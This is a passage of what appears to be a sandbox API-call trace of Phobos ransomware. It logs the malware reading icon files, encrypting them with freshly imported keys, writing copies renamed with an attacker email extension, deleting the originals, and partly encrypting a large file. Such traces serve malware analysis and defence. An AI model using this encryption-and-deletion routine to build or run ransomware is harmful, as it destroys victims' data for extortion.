"c:\\588bce7c90097ed212\\graphics\\print.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.401] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0045.401] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.401] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.401] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.402] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc950) returned 1 [0045.402] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.402] ReadFile (in: hFile=0x314, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x47e, lpOverlapped=0x0) returned 1 [0045.413] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x480, dwBufLen=0x480 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x480) returned 1 [0045.413] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x480, lpOverlapped=0x0) returned 1 [0045.414] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dca50) returned 1 [0045.414] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.414] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40) returned 1 [0045.414] CryptDestroyKey (hKey=0x10dca50) returned 1 [0045.414] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0045.414] CryptDestroyKey (hKey=0x10dc950) returned 1 [0045.414] CloseHandle (hObject=0x314) returned 1 [0045.414] CloseHandle (hObject=0x328) returned 1 [0045.415] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0045.416] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0045.416] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.416] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=894) returned 1 [0045.416] CloseHandle (hObject=0x328) returned 1 [0045.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0045.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.416] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.416] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.417] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.417] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0045.417] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc850) returned 1 [0045.417] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.417] ReadFile (in: hFile=0x328, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x37e, lpOverlapped=0x0) returned 1 [0045.678] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x380, dwBufLen=0x380 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x380) returned 1 [0045.678] WriteFile (in: hFile=0x314, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x380, lpOverlapped=0x0) returned 1 [0045.686] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc810) returned 1 [0045.686] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.686] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40) returned 1 [0045.686] CryptDestroyKey (hKey=0x10dc810) returned 1 [0045.686] WriteFile (in: hFile=0x314, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0045.686] CryptDestroyKey (hKey=0x10dc850) returned 1 [0045.686] CloseHandle (hObject=0x328) returned 1 [0045.686] CloseHandle (hObject=0x314) returned 1 [0045.687] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0045.689] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0045.689] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.691] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=894) returned 1 [0045.691] CloseHandle (hObject=0x320) returned 1 [0045.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0045.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.691] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.691] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.691] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.691] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0045.691] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcb90) returned 1 [0045.691] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.691] ReadFile (in: hFile=0x320, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x37e, lpOverlapped=0x0) returned 1 [0045.759] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x380, dwBufLen=0x380 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x380) returned 1 [0045.759] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x380, lpOverlapped=0x0) returned 1 [0045.761] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dca10) returned 1 [0045.761] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.761] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40) returned 1 [0045.761] CryptDestroyKey (hKey=0x10dca10) returned 1 [0045.761] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0045.761] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0045.761] CloseHandle (hObject=0x320) returned 1 [0045.761] CloseHandle (hObject=0x2fc) returned 1 [0045.762] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0045.782] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0045.782] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0045.783] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=1150) returned 1 [0045.783] CloseHandle (hObject=0x2fc) returned 1 [0045.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0045.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.783] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0045.783] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.783] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.783] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0045.801] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc810) returned 1 [0045.801] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.801] ReadFile (in: hFile=0x2fc, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x47e, lpOverlapped=0x0) returned 1 [0045.893] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x480, dwBufLen=0x480 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x480) returned 1 [0045.893] WriteFile (in: hFile=0x330, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x480, lpOverlapped=0x0) returned 1 [0045.894] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc850) returned 1 [0045.894] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.894] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40) returned 1 [0045.894] CryptDestroyKey (hKey=0x10dc850) returned 1 [0045.894] WriteFile (in: hFile=0x330, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0045.894] CryptDestroyKey (hKey=0x10dc810) returned 1 [0045.894] CloseHandle (hObject=0x2fc) returned 1 [0045.894] CloseHandle (hObject=0x330) returned 1 [0045.895] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0045.896] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0045.896] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0045.896] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=1150) returned 1 [0045.896] CloseHandle (hObject=0x330) returned 1 [0045.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0045.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.897] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0045.897] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.897] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.897] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0045.897] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc690) returned 1 [0045.897] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.897] ReadFile (in: hFile=0x330, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x47e, lpOverlapped=0x0) returned 1 [0045.910] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x480, dwBufLen=0x480 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x480) returned 1 [0045.910] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x480, lpOverlapped=0x0) returned 1 [0045.911] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dca10) returned 1 [0045.911] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.911] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0045.911] CryptDestroyKey (hKey=0x10dca10) returned 1 [0045.911] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0045.911] CryptDestroyKey (hKey=0x10dc690) returned 1 [0045.911] CloseHandle (hObject=0x330) returned 1 [0045.911] CloseHandle (hObject=0x2fc) returned 1 [0045.912] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0045.913] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0045.913] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0045.914] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=181483595) returned 1 [0045.914] CloseHandle (hObject=0x2fc) returned 1 [0045.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0045.914] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0045.914] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core.mzz.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0045.915] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0045.915] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0045.915] ReadFile (in: hFile=0x2fc, lpBuffer=0x38f8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x38f8058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0046.060] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0046.060] ReadFile (in: hFile=0x2fc, lpBuffer=0x3938058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3938058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0046.403] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0046.403] ReadFile (in: hFile=0x2fc, lpBuffer=0x3978058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3978058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0046.498] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f698, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f704 | out: phKey=0x352f704*=0x10dcb90) returned 1 [0046.498] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0046.498] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b8*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b8*=0xc0060) returned 1 [0046.499] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0046.499] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6e0 | out: lpNewFilePointer=0x0) returned 1 [0046.500] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x352f6f0, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f0*=0xc0112, lpOverlapped=0x0) returned 1 [0046.510] SetEndOfFile (hFile=0x2fc) returned 1 [0046.510] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0046.510] WriteFile (in: hFile=0x2fc, lpBuffer=0x39b814a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b814a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0046.512] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0046.512] WriteFile (in: hFile=0x2fc, lpBuffer=0x39b814a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b814a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0046.512] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0046.512] WriteFile (in: hFile=0x2fc, lpBuffer=0x39b814a*, 